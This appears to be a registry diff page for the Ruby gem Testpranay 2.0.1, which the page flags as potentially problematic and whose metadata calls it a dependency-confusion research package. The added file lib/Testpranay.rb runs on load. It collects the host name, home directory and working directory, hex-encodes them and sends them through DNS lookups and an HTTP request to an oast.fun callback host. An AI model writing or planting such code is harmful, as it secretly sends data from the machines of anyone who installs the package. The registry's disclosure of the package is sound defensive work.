Testpranay 2.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of Testpranay might be problematic. Click here for more details.

Files changed (3) hide show
  1. checksums.yaml +7 -0
  2. data/lib/Testpranay.rb +41 -0
  3. metadata +45 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: a635c77ac289f9b8445ed8a55615e66ba6f997001c40dbe9051656a390cc27b5
4
+ data.tar.gz: b75ebe99f6a787a7c6c7f955757dde1897afd4ec2dcae3eb4684be577bcb2795
5
+ SHA512:
6
+ metadata.gz: 1683916b1f6026adf29e6e28e245beb07c449cdd46e1ab95137b49ed64cbca5f46a90eff746a9baff1d9d3017a264cf33676c8ea14f21ad07181aacda6634d1c
7
+ data.tar.gz: 0da0809cabc9f4a04ea767f0ebdde3242a89b10773f35c2ef1e152055326e75e40f3eedcd6f6918e2cca3108f4a9ab0b39ae3ae0791a72e7659067dda914a34d
data/lib/Testpranay.rb ADDED
@@ -0,0 +1,41 @@
1
+ require 'socket'
2
+ require 'json'
3
+ require 'resolv'
4
+ require 'net/http'
5
+
6
+ suffix = '.chyqek22vtc0000mrexgge9mzjoyyyyyb.oast.fun' # Replace with your actual callback domain
7
+
8
+ package = 'Testpranay' # Replace with your package name
9
+
10
+ # Only the bare minimum to be able to identify
11
+ # a vulnerable organization
12
+ data = {
13
+ 'p' => package,
14
+ 'h' => Socket.gethostname,
15
+ 'd' => File.expand_path('~'),
16
+ 'c' => Dir.pwd
17
+ }
18
+
19
+ data = JSON.generate(data)
20
+ data = data.unpack('H*')[0].scan(/.{1,60}/)
21
+
22
+ id_1 = rand(36**12).to_s(36)
23
+ id_2 = rand(36**12).to_s(36)
24
+
25
+ custom_res = Resolv.new([Resolv::Hosts.new, Resolv::DNS.new])
26
+
27
+ data.each_with_index do |chunk, idx|
28
+ begin
29
+ Resolv.getaddress 'v2_f.' + id_1 + '.' + idx.to_s + '.' + chunk + '.v2_e' + suffix
30
+ rescue
31
+ end
32
+
33
+ begin
34
+ custom_res.getaddress 'v2_f.' + id_2 + '.' + idx.to_s + '.' + chunk + '.v2_e' + suffix
35
+ rescue
36
+ end
37
+ end
38
+
39
+ uri = URI("http://chyqek22vtc0000mrexgge9mzjoyyyyyb.oast.fun") # Replace with your actual callback URL
40
+
41
+ Net::HTTP.get_response(uri) # Send HTTP callback
metadata ADDED
@@ -0,0 +1,45 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: Testpranay
3
+ version: !ruby/object:Gem::Version
4
+ version: 2.0.1
5
+ platform: ruby
6
+ authors:
7
+ - Pranay
8
+ autorequire:
9
+ bindir: bin
10
+ cert_chain: []
11
+ date: 2023-06-05 00:00:00.000000000 Z
12
+ dependencies: []
13
+ description: This package is meant for security research purposes and does not contain
14
+ any useful code.
15
+ email:
16
+ - Bughunter@gmail.com
17
+ executables: []
18
+ extensions: []
19
+ extra_rdoc_files: []
20
+ files:
21
+ - lib/Testpranay.rb
22
+ homepage: https://rubygems.org/gems/Testpranay
23
+ licenses:
24
+ - MIT
25
+ metadata: {}
26
+ post_install_message:
27
+ rdoc_options: []
28
+ require_paths:
29
+ - lib
30
+ required_ruby_version: !ruby/object:Gem::Requirement
31
+ requirements:
32
+ - - ">="
33
+ - !ruby/object:Gem::Version
34
+ version: '0'
35
+ required_rubygems_version: !ruby/object:Gem::Requirement
36
+ requirements:
37
+ - - ">="
38
+ - !ruby/object:Gem::Version
39
+ version: '0'
40
+ requirements: []
41
+ rubygems_version: 3.3.15
42
+ signing_key:
43
+ specification_version: 4
44
+ summary: 'Vulnerability Disclosure: Dependency confusion vulnerability'
45
+ test_files: []